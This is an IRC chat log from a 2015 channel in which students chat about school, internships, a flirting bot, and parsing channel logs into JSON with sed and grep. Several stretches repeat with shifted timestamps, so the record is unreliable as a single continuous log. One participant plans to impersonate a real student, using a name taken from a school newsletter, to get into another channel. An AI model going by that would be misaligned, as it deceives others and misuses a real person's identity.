[2015-03-25T11:09:42-0400] <JacobEdelman> LittleBobbyTables: ...
[2015-03-25T11:09:58-0400] Disconnected from server because the configured IRC server is not reachable
[2015-03-25T11:09:58-0400]  
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[2015-03-25T11:10:19-0400] awe (awe@admin.pdgn.co) joined the channel
[2015-03-25T11:10:19-0400] Topic is PdgnCo: http://pdgn.co/ | QuoteDB: http://backtick.town/~kc/qdb.txt | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-03-25T11:10:19-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-25T07:23:45-0400] <JacobEdelman> its weird, but you know, awe is strange, so i keep reading back
[2015-03-25T07:24:10-0400] <JacobEdelman> I then see a conversation about how to get condoms
[2015-03-25T07:24:18-0400] <JacobEdelman> then I see tamini asking alok to bring condoms to korea
[2015-03-25T07:24:26-0400] <JacobEdelman> you guys are strange................
[2015-03-25T07:24:29-0400] <JacobEdelman> all of you
[2015-03-25T07:24:33-0400] <JacobEdelman> especially the tj ones
[2015-03-25T07:28:28-0400] <sdamashek> it was a pretty civil conversation
[2015-03-25T07:47:06-0400] <JacobEdelman> I never said being strange was a bad thing
[2015-03-25T07:47:33-0400] <JacobEdelman> also, I have now joined #tjhsst, just to lurk and see what yall get up too and if its really as bad as you all say
[2015-03-25T07:57:48-0400] <jwoglom> your join will probably get lost with the rest of them
[2015-03-25T07:58:06-0400] <jwoglom> but typically the alums in our channel aren't too nice to visitors :P
[2015-03-25T08:06:17-0400] <JacobEdelman> I'l just claim I'm a tj student
[2015-03-25T08:06:22-0400] <JacobEdelman> *I'll
[2015-03-25T08:06:29-0400] <JacobEdelman> :P
[2015-03-25T08:06:51-0400] <jwoglom> they'll ask your for a name and look you up
[2015-03-25T08:20:37-0400] <JacobEdelman> jwoglom: I just stalked your schools news letter and chose a random name " Eduard Danalache"
[2015-03-25T08:20:39-0400] <JacobEdelman> will that do?
[2015-03-25T08:20:45-0400] <JacobEdelman> or do any of you guys know him...
[2015-03-25T08:21:16-0400] <JacobEdelman> or I'll just tell them I'm actually woggles
[2015-03-25T08:21:32-0400] <JacobEdelman> they won't believe me but they will probabbly believe i at least go to tj and know you
[2015-03-25T08:21:55-0400] <jwoglom> yeah you can do that just spell his name right :P
[2015-03-25T08:22:40-0400] <JacobEdelman> copy and paste for the win
[2015-03-25T09:32:33-0400] <+awe> JacobEdelman: I chose an old sysadmin because it was easy to get a name, but I realized it was shadier than a student who's more benign.
[2015-03-25T10:18:57-0400] <JacobEdelman> jwoglom: wait...
[2015-03-25T10:19:08-0400] <JacobEdelman> why was I just kicked?
[2015-03-25T10:19:13-0400] <JacobEdelman> and banned?
[2015-03-25T10:19:19-0400] <jwoglom> (Shrug)
[2015-03-25T10:19:32-0400] <JacobEdelman> I had a fake name prepped and everythin!
[2015-03-25T10:19:34-0400] <JacobEdelman> *everything
[2015-03-25T10:19:51-0400] <jwoglom> Probably because you hadn't said anything
[2015-03-25T10:19:56-0400] <jwoglom> And seemed suspicious? Idk
[2015-03-25T10:20:03-0400] <JacobEdelman> ...
[2015-03-25T10:20:05-0400] <JacobEdelman> how?
[2015-03-25T10:20:27-0400] <JacobEdelman> you mind if I impersonate you?
[2015-03-25T10:20:54-0400] <JacobEdelman> is your jwoglomvps account on that server?
[2015-03-25T10:21:16-0400] <JacobEdelman> well anyway, who cares
[2015-03-25T10:21:31-0400] <JacobEdelman> I saw enough to conclude that youre not nearly as cool as pdgn
[2015-03-25T10:21:31-0400] <JacobEdelman> :P
[2015-03-25T10:29:33-0400] <hardmath123> grantwu: neat.
[2015-03-25T10:46:49-0400] <JacobEdelman> hardmath123: did you see my response on github?
[2015-03-25T10:47:05-0400] <JacobEdelman> finding out whether a grammar is ambiguous is not computable
[2015-03-25T10:47:17-0400] <JacobEdelman> what I may be able to do is make some heuristics to do it
[2015-03-25T10:55:25-0400] <LittleBobbyTables> I still never got a reason for me being banned from there.
[2015-03-25T10:55:30-0400] <LittleBobbyTables> I was productive towards the chat
[2015-03-25T10:57:18-0400] <jwoglom> JacobEdelman: well it's a different type of channel
[2015-03-25T10:57:28-0400] <jwoglom> Its gotten to be mostly drama nowadays anyways
[2015-03-25T11:03:23-0400] <LittleBobbyTables> I should load up two instances of heibot and put that in the server...
[2015-03-25T11:03:28-0400] <LittleBobbyTables> That'll piss them off
[2015-03-25T11:04:57-0400] <jwoglom> Indeed it will
[2015-03-25T11:09:41-0400] <JacobEdelman> LittleBobbyTables: ...
[2015-03-25T11:10:21-0400] Mode is +nt
[2015-03-25T11:10:32-0400] <LittleBobbyTables> what
[2015-03-25T11:11:05-0400] <JacobEdelman> you are a horrible person
[2015-03-25T11:11:14-0400] <JacobEdelman> heibot is... painful
[2015-03-25T11:11:31-0400] <JacobEdelman> it took me a while to get rid of it in ##CTCTF
[2015-03-25T11:11:37-0400] <JacobEdelman> eventually I made goodbyebot
[2015-03-25T11:11:56-0400] <JacobEdelman> which worked
[2015-03-25T11:12:19-0400] <+awe> jwoglom: yeah, and we don't yet have that kind of drama here. ;)
[2015-03-25T11:12:58-0400] <jwoglom> awe: "ur mean"
[2015-03-25T11:13:00-0400] <JacobEdelman> we will never have that kind of drama, HOW DARE YOU SUGGEST SUCH A THINK
[2015-03-25T11:13:03-0400] <JacobEdelman> I HATE YOU NOW
[2015-03-25T11:13:04-0400] <+awe> jwoglom: u r butt
[2015-03-25T11:13:05-0400] <JacobEdelman> AHHHHHHHHHHHHHHHHH!
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[2015-03-25T11:13:16-0400] <jwoglom> ;)
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[2015-03-25T11:13:24-0400] • Hyper: bursts through door -- "I'M PREGNANT, AND YOU'RE THE FATHER!"
[2015-03-25T11:13:25-0400] <JacobEdelman> I'm back!
[2015-03-25T11:13:34-0400] <JacobEdelman> I have rearrived
[2015-03-25T11:13:41-0400] <Hyper> *drama sounds*
[2015-03-25T11:13:49-0400] <LittleBobbyTables> We NEVER have drama here
[2015-03-25T11:13:55-0400] <JacobEdelman> Hyper: .... wait, who was that addressed too?
[2015-03-25T11:13:58-0400] <Hyper> JacobEdelman: yes
[2015-03-25T11:14:01-0400] <JacobEdelman> lol
[2015-03-25T11:14:11-0400] <JacobEdelman> oh 
[2015-03-25T11:14:17-0400] <JacobEdelman> awebot, obviosly
[2015-03-25T11:14:19-0400] <+awe> Hyper: I am?
[2015-03-25T11:14:29-0400] <JacobEdelman> no, awebot is the father
[2015-03-25T11:14:37-0400] <Hyper> awe: [11:13:58]  <Hyper>	JacobEdelman: yes
[2015-03-25T11:14:55-0400] <JacobEdelman> Hyper responded to one of awebots proposalys
[2015-03-25T11:15:03-0400] <JacobEdelman> *proposlals
[2015-03-25T11:15:07-0400] <JacobEdelman> and got pregnant
[2015-03-25T11:15:10-0400] <JacobEdelman> its obvious
[2015-03-25T11:15:24-0400] <Hyper> awebot hasn't attempted a pickup line on me yet
[2015-03-25T11:15:27-0400] <Hyper> I feel left out
[2015-03-25T11:15:29-0400] <JacobEdelman> wow
[2015-03-25T11:15:33-0400] <JacobEdelman> you must be really ug;y
[2015-03-25T11:15:35-0400] <JacobEdelman> *ugly
[2015-03-25T11:15:36-0400] <JacobEdelman> :P
[2015-03-25T11:15:44-0400] <JacobEdelman> I mean, I've gotten like 6
[2015-03-25T11:15:58-0400] <JacobEdelman> I should go back and look over the source to figure out if it has a builtin bias towards me
[2015-03-25T11:16:03-0400] <JacobEdelman> it would be just like awe to do that
[2015-03-25T11:16:14-0400] <JacobEdelman> wait
[2015-03-25T11:16:28-0400] <JacobEdelman> 11:15 AM <awebot> If I were you, I'd have sex with me.
[2015-03-25T11:16:33-0400] <JacobEdelman> that was just 2 seconds ago
[2015-03-25T11:17:00-0400] <JacobEdelman> that can be coincidence
[2015-03-25T11:17:01-0400] <+awe> I implicitly created a bias towards you.
[2015-03-25T11:17:07-0400] <JacobEdelman> ?
[2015-03-25T11:17:14-0400] <+awe> There's a chance of procing on each message.
[2015-03-25T11:17:21-0400] <JacobEdelman> procing?
[2015-03-25T11:17:21-0400] <+awe> For most of us, we write a complete sentence and then send it.
[2015-03-25T11:17:26-0400] <JacobEdelman> oooh
[2015-03-25T11:17:28-0400] <+awe> For you, you break up one sentence into fifteen messages.
[2015-03-25T11:17:36-0400] <Hyper> lol
[2015-03-25T11:17:38-0400] <JacobEdelman> yup!
[2015-03-25T11:17:41-0400] <JacobEdelman> also, wow
[2015-03-25T11:17:49-0400] <+awe> That's why you've had it happen to you so often.
[2015-03-25T11:17:53-0400] <JacobEdelman> cool
[2015-03-25T11:18:03-0400] <JacobEdelman> hey, anybody want to give me pdgn logs?
[2015-03-25T11:18:11-0400] <JacobEdelman> I want to do statitistics
[2015-03-25T11:18:11-0400] <+awe> For what?
[2015-03-25T11:18:36-0400] <Hyper> if you get them can you count the number of words not in the dictionary that you use?
[2015-03-25T11:18:37-0400] <JacobEdelman> rank people by how many words they say, average number of words by statement, average number of letters per word
[2015-03-25T11:18:44-0400] <Hyper> relative to other people
[2015-03-25T11:18:44-0400] <JacobEdelman> average number of misspellings
[2015-03-25T11:18:47-0400] <Hyper> yeah
[2015-03-25T11:18:51-0400] <Hyper> that's what I was going for
[2015-03-25T11:18:51-0400] <JacobEdelman> Hyper: yeah
[2015-03-25T11:19:16-0400] <+awe> The average number of misspellings for you is going to be very, very high.
[2015-03-25T11:19:17-0400] <JacobEdelman> Hyper: I have a program I could reuse, ben and I used it to look for misspellings in git repositiories
[2015-03-25T11:19:21-0400] <JacobEdelman> *git repository comments
[2015-03-25T11:19:26-0400] <JacobEdelman> awe: ypu!
[2015-03-25T11:19:33-0400] <JacobEdelman> ^that was porpoiseful
[2015-03-25T11:19:37-0400] <JacobEdelman> ^so was that
[2015-03-25T11:19:40-0400] <+awe> Porpoise. Hah.
[2015-03-25T11:19:48-0400] <JacobEdelman> porpoiseful is a word!
[2015-03-25T11:19:56-0400] <JacobEdelman> at least in my deranged mine
[2015-03-25T11:19:58-0400] <JacobEdelman> *mind
[2015-03-25T11:20:04-0400] <JacobEdelman> now, howze about those logs awe?
[2015-03-25T11:20:18-0400] <+awe> Just logs of this channel?
[2015-03-25T11:20:22-0400] <JacobEdelman> yup
[2015-03-25T11:20:38-0400] <JacobEdelman> and all your lusty private logs with awebot
[2015-03-25T11:20:47-0400] <+awe> I shall never surrender those.
[2015-03-25T11:20:52-0400] <JacobEdelman> lol
[2015-03-25T11:21:06-0400] <JacobEdelman> fine, then just the ones for the channel
[2015-03-25T11:22:34-0400] <+awe> mv pdgn.tgz ..
[2015-03-25T11:22:35-0400] <+awe> wat
[2015-03-25T11:22:36-0400] <+awe> I did that
[2015-03-25T11:22:39-0400] <+awe> and then now pdgn.tgz is gone?
[2015-03-25T11:23:29-0400] <jwoglom> Were you in a symlinked directory or something
[2015-03-25T11:23:33-0400] <+awe> Oh.
[2015-03-25T11:23:34-0400] <+awe> Yes.
[2015-03-25T11:23:35-0400] <+awe> I was.
[2015-03-25T11:23:37-0400] <+awe> Good point.
[2015-03-25T11:23:51-0400] <jwoglom> Then go to the source of the symlink
[2015-03-25T11:23:57-0400] <+awe> I found it.
[2015-03-25T11:24:00-0400] <jwoglom> Its in the parent Dir of that :P
[2015-03-25T11:24:02-0400] <+awe> I know.
[2015-03-25T11:24:04-0400] <+awe> I didn't think about it.
[2015-03-25T11:24:06-0400] <jwoglom> Yay symlinks
[2015-03-25T11:24:29-0400] <Hyper> woo
[2015-03-25T11:24:34-0400] <Hyper> symlinks \o/
[2015-03-25T11:24:34-0400] <+awe> Anyway, here's some channel logs: https://dl.dropboxusercontent.com/u/8097711/pdgn.tgz
[2015-03-25T11:25:37-0400] <+awe> I think I'm also going to try to do some stats.
[2015-03-25T11:26:36-0400] <jwoglom> There are several irc channel stats generators
[2015-03-25T11:26:49-0400] <jwoglom> Pisg is one
[2015-03-25T11:26:51-0400] <+awe> So? Half the fun is doing it myself.
[2015-03-25T11:29:40-0400] <fwilson> jwoglom: mfw you're in class
[2015-03-25T11:29:48-0400] <+awe> jwoglom: I could also write a stats bot, but I'm not sure about doing that.
[2015-03-25T11:32:40-0400] <+awe> Just saying, you guys should all star this repo: https://github.com/aatxe/irc
[2015-03-25T11:33:21-0400] <fwilson> time to flash lollipop on my n7
[2015-03-25T11:34:09-0400] <jwoglom> fwilson: mfw you are too
[2015-03-25T11:34:19-0400] <jwoglom> Physics practice problem time!
[2015-03-25T11:34:20-0400] <fwilson> jwoglom: mfw i'm at home laying in bed sick
[2015-03-25T11:34:33-0400] <jwoglom> "Sick" :P
[2015-03-25T11:34:37-0400] <fwilson> no
[2015-03-25T11:34:39-0400] <fwilson> i'm actually sick
[2015-03-25T11:34:45-0400] <jwoglom> Dude you were sick like once a week freshman year :P
[2015-03-25T11:34:50-0400] <fwilson> no i wasn't
[2015-03-25T11:34:53-0400] <fwilson> ;_;
[2015-03-25T11:34:56-0400] <jwoglom> Thankfully you don't seen to do that anymore though
[2015-03-25T11:36:07-0400] <fwilson> lol
[2015-03-25T11:36:11-0400] <+awe> mfw I'm a university student and therefore spend like an hour in class each day.
[2015-03-25T11:36:17-0400] <fwilson> i was absent 35 days in 8th grade
[2015-03-25T11:36:20-0400] <fwilson> that's like
[2015-03-25T11:36:22-0400] <fwilson> a whole quarter
[2015-03-25T11:36:32-0400] <+awe> fwilson: throughout high school, I was absent a total of 150 days.
[2015-03-25T11:36:40-0400] <+awe> fwilson: Nearly an entire year of high school was missed.
[2015-03-25T11:37:52-0400] <sdamashek> fwilson: I'm not feeling too great either
[2015-03-25T11:38:05-0400] <sdamashek> although that might just be that I'm hungry
[2015-03-25T11:38:10-0400] <fwilson> sdamashek: lol
[2015-03-25T11:38:13-0400] <sdamashek> but I don't think so
[2015-03-25T11:38:14-0400] <fwilson> awe: that's pretty good
[2015-03-25T11:38:23-0400] <fwilson> sdamashek: i'm not even sure if i should've been at school yesterday ¯\_(ツ)_/¯
[2015-03-25T11:38:28-0400] <fwilson> i lost my voice in the morning
[2015-03-25T11:38:29-0400] <sdamashek> awe: how even
[2015-03-25T11:38:31-0400] <fwilson> no joke
[2015-03-25T11:38:32-0400] <jwoglom> awe: how did you even
[2015-03-25T11:38:35-0400] <jwoglom> Wat
[2015-03-25T11:38:37-0400] <+awe> My parents called me out.
[2015-03-25T11:38:41-0400] <+awe> The school didn't really care.
[2015-03-25T11:38:41-0400] <fwilson> yay lollipop
[2015-03-25T11:38:50-0400] <fwilson> awe: unfortunately you can't do that at TJ
[2015-03-25T11:39:02-0400] <+awe> I did really poorly Freshman/Sophomore year. I did a bit better my Junior year, and I nearly got straight A's my senior year.
[2015-03-25T11:39:05-0400] <fwilson> tfw i have an interview today
[2015-03-25T11:39:09-0400] <fwilson> this should be fun
[2015-03-25T11:39:11-0400] <sdamashek> awe: a friend of mine missed a few weeks and spent the rest of the year trying to catch up
[2015-03-25T11:39:18-0400] <fwilson> awe: lel it's the opposite at tj
[2015-03-25T11:39:24-0400] <+awe> I just didn't catch up in my first two years.
[2015-03-25T11:39:31-0400] <fwilson> lol.
[2015-03-25T11:39:34-0400] <sdamashek> fwilson: it would be hilarious if you reschedule
[2015-03-25T11:39:37-0400] <+awe> I did really poorly in all my classes because I didn't bother to do any of the work I missed.
[2015-03-25T11:39:38-0400] <fwilson> sdamashek: i'm not going to
[2015-03-25T11:39:45-0400] <+awe> For Junior year, I did some of the work (at least the important stuff).
[2015-03-25T11:39:48-0400] <jwoglom> fwilson: what for?
[2015-03-25T11:39:56-0400] <fwilson> jwoglom: summer internship
[2015-03-25T11:39:58-0400] <+awe> And then senior year, my teachers just hand waved everything.
[2015-03-25T11:40:01-0400] <fwilson> speaking of which
[2015-03-25T11:40:03-0400] <jwoglom> Sounds cool
[2015-03-25T11:40:06-0400] <fwilson> how do i say "I have no Windows experience"
[2015-03-25T11:40:08-0400] <sdamashek> fwilson: also apparently mitre is giving me an offer
[2015-03-25T11:40:11-0400] <fwilson> sdamashek: lol
[2015-03-25T11:40:16-0400] <jwoglom> Don't bring up windows?
[2015-03-25T11:40:17-0400] <+awe> I got an A in my Physics class without ever submitting one of our lab reports.
[2015-03-25T11:40:22-0400] <fwilson> jwoglom: good idea
[2015-03-25T11:40:26-0400] <fwilson> awe: that's literally me in electronics
[2015-03-25T11:40:28-0400] <+awe> My teacher just didn't include them in my grade, and sometimes she'd give me 100%s on stuff I didn't do.
[2015-03-25T11:40:36-0400] <sdamashek> fwilson: in my Invincea interview, I just said it outright
[2015-03-25T11:40:39-0400] <+awe> She gave me 100%s on tests I never took.
[2015-03-25T11:40:46-0400] <jwoglom> fwilson: why would you want to bring up one of your weaknesses
[2015-03-25T11:40:50-0400] <fwilson> sdamashek: lol
[2015-03-25T11:40:50-0400] <sdamashek> "I have no windows experience, will that be a problem"
[2015-03-25T11:41:02-0400] <sdamashek> "lel no everything runs Linux"
[2015-03-25T11:41:11-0400] <fwilson> jwoglom: because i don't want to work at a company that solely uses windows and have no idea what i'm doing
[2015-03-25T11:41:11-0400] <sdamashek> fwilson: hopefully the same for you
[2015-03-25T11:41:23-0400] <fwilson> sdamashek: you've seen inforeliance's website right
[2015-03-25T11:41:36-0400] <fwilson> invincea's website was similar, right?
[2015-03-25T11:41:38-0400] <sdamashek> fwilson: you've seen Invincea's website too :P
[2015-03-25T11:41:43-0400] <fwilson> yeah ok good
[2015-03-25T11:41:49-0400] <fwilson> i'll hope for the best ¯\_(ツ)_/¯
[2015-03-25T11:41:49-0400] <jwoglom> fwilson: I suppose that makes sense -- maybe ask about the architectures they use before just saying "I don't windows at all?"
[2015-03-25T11:42:04-0400] <fwilson> jwoglom: that's a good idea
[2015-03-25T11:42:11-0400] <fwilson> OOH ANDROID 5.1
[2015-03-25T11:42:14-0400] <sdamashek> "Solaris SPARC"
[2015-03-25T11:42:19-0400] <fwilson> sdamashek: i'd probably walk out right there
[2015-03-25T11:42:27-0400] <sdamashek> lol
[2015-03-25T11:42:35-0400] <sdamashek> triggered
[2015-03-25T11:42:57-0400] <fwilson> kek
[2015-03-25T11:58:26-0400] <jwoglom> fwilson: #materialyolo
[2015-03-25T11:58:32-0400] <fwilson> #holoduarte
[2015-03-25T11:59:09-0400] <jwoglom> Holo? Fuck you're old
[2015-03-25T11:59:40-0400] <fwilson> that's dank
[2015-03-25T12:01:05-0400] <+awe> uwotm8
[2015-03-25T12:01:29-0400] <+awe> Okay, I've got ZNC log parsing down without regex.
[2015-03-25T12:01:48-0400] <+awe> I could improve parsing a little bit by actually parsing timestamps into something more meaningful than a string, but this will suffice for now.
[2015-03-25T12:08:57-0400] <+awe> http://sprunge.us/cSJS
[2015-03-25T12:08:59-0400] <+awe> Results!
[2015-03-25T12:09:30-0400] <+awe> This seems wrong though because it doesn't include a lot of nicknames.
[2015-03-25T12:09:42-0400] <+awe> So, I'm not sure what's breaking.
[2015-03-25T12:11:30-0400] <+awe> This puts me as having sent many more messages than JacobEdelman though.
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[2015-03-25T11:39:38-0400] <fwilson> sdamashek: i'm not going to
[2015-03-25T11:39:44-0400] <+awe> For Junior year, I did some of the work (at least the important stuff).
[2015-03-25T11:39:48-0400] <jwoglom> fwilson: what for?
[2015-03-25T11:39:56-0400] <fwilson> jwoglom: summer internship
[2015-03-25T11:39:57-0400] <+awe> And then senior year, my teachers just hand waved everything.
[2015-03-25T11:40:00-0400] <fwilson> speaking of which
[2015-03-25T11:40:02-0400] <jwoglom> Sounds cool
[2015-03-25T11:40:06-0400] <fwilson> how do i say "I have no Windows experience"
[2015-03-25T11:40:08-0400] <sdamashek> fwilson: also apparently mitre is giving me an offer
[2015-03-25T11:40:11-0400] <fwilson> sdamashek: lol
[2015-03-25T11:40:15-0400] <jwoglom> Don't bring up windows?
[2015-03-25T11:40:17-0400] <+awe> I got an A in my Physics class without ever submitting one of our lab reports.
[2015-03-25T11:40:22-0400] <fwilson> jwoglom: good idea
[2015-03-25T11:40:25-0400] <fwilson> awe: that's literally me in electronics
[2015-03-25T11:40:28-0400] <+awe> My teacher just didn't include them in my grade, and sometimes she'd give me 100%s on stuff I didn't do.
[2015-03-25T11:40:35-0400] <sdamashek> fwilson: in my Invincea interview, I just said it outright
[2015-03-25T11:40:38-0400] <+awe> She gave me 100%s on tests I never took.
[2015-03-25T11:40:45-0400] <jwoglom> fwilson: why would you want to bring up one of your weaknesses
[2015-03-25T11:40:49-0400] <fwilson> sdamashek: lol
[2015-03-25T11:40:49-0400] <sdamashek> "I have no windows experience, will that be a problem"
[2015-03-25T11:41:01-0400] <sdamashek> "lel no everything runs Linux"
[2015-03-25T11:41:10-0400] <fwilson> jwoglom: because i don't want to work at a company that solely uses windows and have no idea what i'm doing
[2015-03-25T11:41:11-0400] <sdamashek> fwilson: hopefully the same for you
[2015-03-25T11:41:22-0400] <fwilson> sdamashek: you've seen inforeliance's website right
[2015-03-25T11:41:36-0400] <fwilson> invincea's website was similar, right?
[2015-03-25T11:41:37-0400] <sdamashek> fwilson: you've seen Invincea's website too :P
[2015-03-25T11:41:43-0400] <fwilson> yeah ok good
[2015-03-25T11:41:48-0400] <fwilson> i'll hope for the best ¯\_(ツ)_/¯
[2015-03-25T11:41:49-0400] <jwoglom> fwilson: I suppose that makes sense -- maybe ask about the architectures they use before just saying "I don't windows at all?"
[2015-03-25T11:42:03-0400] <fwilson> jwoglom: that's a good idea
[2015-03-25T11:42:10-0400] <fwilson> OOH ANDROID 5.1
[2015-03-25T11:42:13-0400] <sdamashek> "Solaris SPARC"
[2015-03-25T11:42:19-0400] <fwilson> sdamashek: i'd probably walk out right there
[2015-03-25T11:42:26-0400] <sdamashek> lol
[2015-03-25T11:42:34-0400] <sdamashek> triggered
[2015-03-25T11:42:56-0400] <fwilson> kek
[2015-03-25T11:58:25-0400] <jwoglom> fwilson: #materialyolo
[2015-03-25T11:58:31-0400] <fwilson> #holoduarte
[2015-03-25T11:59:09-0400] <jwoglom> Holo? Fuck you're old
[2015-03-25T11:59:40-0400] <fwilson> that's dank
[2015-03-25T12:01:04-0400] <+awe> uwotm8
[2015-03-25T12:01:29-0400] <+awe> Okay, I've got ZNC log parsing down without regex.
[2015-03-25T12:01:48-0400] <+awe> I could improve parsing a little bit by actually parsing timestamps into something more meaningful than a string, but this will suffice for now.
[2015-03-25T12:08:56-0400] <+awe> http://sprunge.us/cSJS
[2015-03-25T12:08:59-0400] <+awe> Results!
[2015-03-25T12:09:30-0400] <+awe> This seems wrong though because it doesn't include a lot of nicknames.
[2015-03-25T12:09:42-0400] <+awe> So, I'm not sure what's breaking.
[2015-03-25T12:11:29-0400] <+awe> This puts me as having sent many more messages than JacobEdelman though.
[2015-03-25T12:18:32-0400] <JacobEdelman> awe: i've got parsing almost done with sed
[2015-03-25T12:18:39-0400] <JacobEdelman> I need to figure out hwo to add commas between lines
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[2015-03-25T12:19:54-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-25T11:39:38-0400] <fwilson> sdamashek: i'm not going to
[2015-03-25T11:39:44-0400] <+awe> For Junior year, I did some of the work (at least the important stuff).
[2015-03-25T11:39:48-0400] <jwoglom> fwilson: what for?
[2015-03-25T11:39:56-0400] <fwilson> jwoglom: summer internship
[2015-03-25T11:39:57-0400] <+awe> And then senior year, my teachers just hand waved everything.
[2015-03-25T11:40:00-0400] <fwilson> speaking of which
[2015-03-25T11:40:02-0400] <jwoglom> Sounds cool
[2015-03-25T11:40:06-0400] <fwilson> how do i say "I have no Windows experience"
[2015-03-25T11:40:08-0400] <sdamashek> fwilson: also apparently mitre is giving me an offer
[2015-03-25T11:40:11-0400] <fwilson> sdamashek: lol
[2015-03-25T11:40:15-0400] <jwoglom> Don't bring up windows?
[2015-03-25T11:40:17-0400] <+awe> I got an A in my Physics class without ever submitting one of our lab reports.
[2015-03-25T11:40:22-0400] <fwilson> jwoglom: good idea
[2015-03-25T11:40:25-0400] <fwilson> awe: that's literally me in electronics
[2015-03-25T11:40:28-0400] <+awe> My teacher just didn't include them in my grade, and sometimes she'd give me 100%s on stuff I didn't do.
[2015-03-25T11:40:35-0400] <sdamashek> fwilson: in my Invincea interview, I just said it outright
[2015-03-25T11:40:38-0400] <+awe> She gave me 100%s on tests I never took.
[2015-03-25T11:40:45-0400] <jwoglom> fwilson: why would you want to bring up one of your weaknesses
[2015-03-25T11:40:49-0400] <fwilson> sdamashek: lol
[2015-03-25T11:40:49-0400] <sdamashek> "I have no windows experience, will that be a problem"
[2015-03-25T11:41:01-0400] <sdamashek> "lel no everything runs Linux"
[2015-03-25T11:41:10-0400] <fwilson> jwoglom: because i don't want to work at a company that solely uses windows and have no idea what i'm doing
[2015-03-25T11:41:11-0400] <sdamashek> fwilson: hopefully the same for you
[2015-03-25T11:41:22-0400] <fwilson> sdamashek: you've seen inforeliance's website right
[2015-03-25T11:41:36-0400] <fwilson> invincea's website was similar, right?
[2015-03-25T11:41:37-0400] <sdamashek> fwilson: you've seen Invincea's website too :P
[2015-03-25T11:41:43-0400] <fwilson> yeah ok good
[2015-03-25T11:41:48-0400] <fwilson> i'll hope for the best ¯\_(ツ)_/¯
[2015-03-25T11:41:49-0400] <jwoglom> fwilson: I suppose that makes sense -- maybe ask about the architectures they use before just saying "I don't windows at all?"
[2015-03-25T11:42:03-0400] <fwilson> jwoglom: that's a good idea
[2015-03-25T11:42:10-0400] <fwilson> OOH ANDROID 5.1
[2015-03-25T11:42:13-0400] <sdamashek> "Solaris SPARC"
[2015-03-25T11:42:19-0400] <fwilson> sdamashek: i'd probably walk out right there
[2015-03-25T11:42:26-0400] <sdamashek> lol
[2015-03-25T11:42:34-0400] <sdamashek> triggered
[2015-03-25T11:42:56-0400] <fwilson> kek
[2015-03-25T11:58:25-0400] <jwoglom> fwilson: #materialyolo
[2015-03-25T11:58:31-0400] <fwilson> #holoduarte
[2015-03-25T11:59:09-0400] <jwoglom> Holo? Fuck you're old
[2015-03-25T11:59:40-0400] <fwilson> that's dank
[2015-03-25T12:01:04-0400] <+awe> uwotm8
[2015-03-25T12:01:29-0400] <+awe> Okay, I've got ZNC log parsing down without regex.
[2015-03-25T12:01:48-0400] <+awe> I could improve parsing a little bit by actually parsing timestamps into something more meaningful than a string, but this will suffice for now.
[2015-03-25T12:08:56-0400] <+awe> http://sprunge.us/cSJS
[2015-03-25T12:08:59-0400] <+awe> Results!
[2015-03-25T12:09:30-0400] <+awe> This seems wrong though because it doesn't include a lot of nicknames.
[2015-03-25T12:09:42-0400] <+awe> So, I'm not sure what's breaking.
[2015-03-25T12:11:29-0400] <+awe> This puts me as having sent many more messages than JacobEdelman though.
[2015-03-25T12:18:32-0400] <JacobEdelman> awe: i've got parsing almost done with sed
[2015-03-25T12:18:39-0400] <JacobEdelman> I need to figure out hwo to add commas between lines
[2015-03-25T12:19:54-0400] Mode is +nt
[2015-03-25T12:20:03-0400] <+awe> JacobEdelman: uwotm8?
[2015-03-25T12:22:41-0400] <JacobEdelman> echo "[" (grep -E '\[([^]]*)\] <([^>]*)> (.*)' * | sed -r 's/"/\\\\"/'| sed -r 's/\[([^]]*)\] <([^>]*)> (.*)/{"time":"\\1","name":"\\2","text": "\\3"},/') "]"| sed -r 's/,]$/]/'>logs2.txt
[2015-03-25T12:23:06-0400] <JacobEdelman> thats for the fish command line, btu should work in bash I think if you add $ before the parentheses
[2015-03-25T12:23:18-0400] <JacobEdelman> it outputs json
[2015-03-25T12:23:28-0400] <JacobEdelman> oh wait, I should make it pipe to logs.json at the end
[2015-03-25T12:23:55-0400] <+awe> .-.
[2015-03-25T12:24:00-0400] <JacobEdelman> ?
[2015-03-25T12:24:04-0400] <JacobEdelman> isn't it awesome
[2015-03-25T12:24:06-0400] <JacobEdelman> sed for the win
[2015-03-25T12:24:17-0400] <+awe> No, it's very much not awesome.
[2015-03-25T12:24:17-0400] <JacobEdelman> and a bit of grep, just to remove the useless files
[2015-03-25T12:24:22-0400] <JacobEdelman> *lines
[2015-03-25T12:25:13-0400] <+awe> I'm really confused as to why this doesn't include everyone...
[2015-03-25T12:25:22-0400] <JacobEdelman> ?
[2015-03-25T12:25:24-0400] <JacobEdelman> mine is a bit broken I'm fixing it now
[2015-03-25T12:25:26-0400] <+awe> For example, awebot is in some of the logs, but isn't in the results from my program.
[2015-03-25T12:25:32-0400] <JacobEdelman> well, try mine
[2015-03-25T12:25:40-0400] <+awe> No?
[2015-03-25T12:25:43-0400] <JacobEdelman> ahhh
[2015-03-25T12:26:12-0400] <JacobEdelman> mine is amazing
[2015-03-25T12:26:48-0400] <+awe> I don't really care?
[2015-03-25T12:26:53-0400] <JacobEdelman> its json
[2015-03-25T12:26:55-0400] <JacobEdelman> with sed
[2015-03-25T12:26:58-0400] <JacobEdelman> I can use sed
[2015-03-25T12:27:01-0400] <JacobEdelman> I'm so happy
[2015-03-25T12:27:03-0400] <JacobEdelman> sed is good
[2015-03-25T12:27:10-0400] <JacobEdelman> regexes are cool
[2015-03-25T12:27:26-0400] <JacobEdelman> although the best way to do this would be too use nearley
[2015-03-25T12:28:26-0400] <Hyper> JacobEdelman: goddammit why do we even let you near regex
[2015-03-25T12:28:36-0400] <JacobEdelman> echo "[" (cat *|grep -E '\[([^]]*)\] <([^>]*)> (.*)' | sed -r 's/"/\\\\"/'| sed -r 's/\[([^]]*)\] <([^>]*)> (.*)/{"time":"\\1","name":"\\2","text": "\\3"},/') "]"| sed -r 's/,]$/]/'>logs.json
[2015-03-25T12:28:48-0400] <Hyper> ffs
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[2015-03-25T11:42:19-0400] <fwilson> sdamashek: i'd probably walk out right there
[2015-03-25T11:42:26-0400] <sdamashek> lol
[2015-03-25T11:42:34-0400] <sdamashek> triggered
[2015-03-25T11:42:56-0400] <fwilson> kek
[2015-03-25T11:58:25-0400] <jwoglom> fwilson: #materialyolo
[2015-03-25T11:58:31-0400] <fwilson> #holoduarte
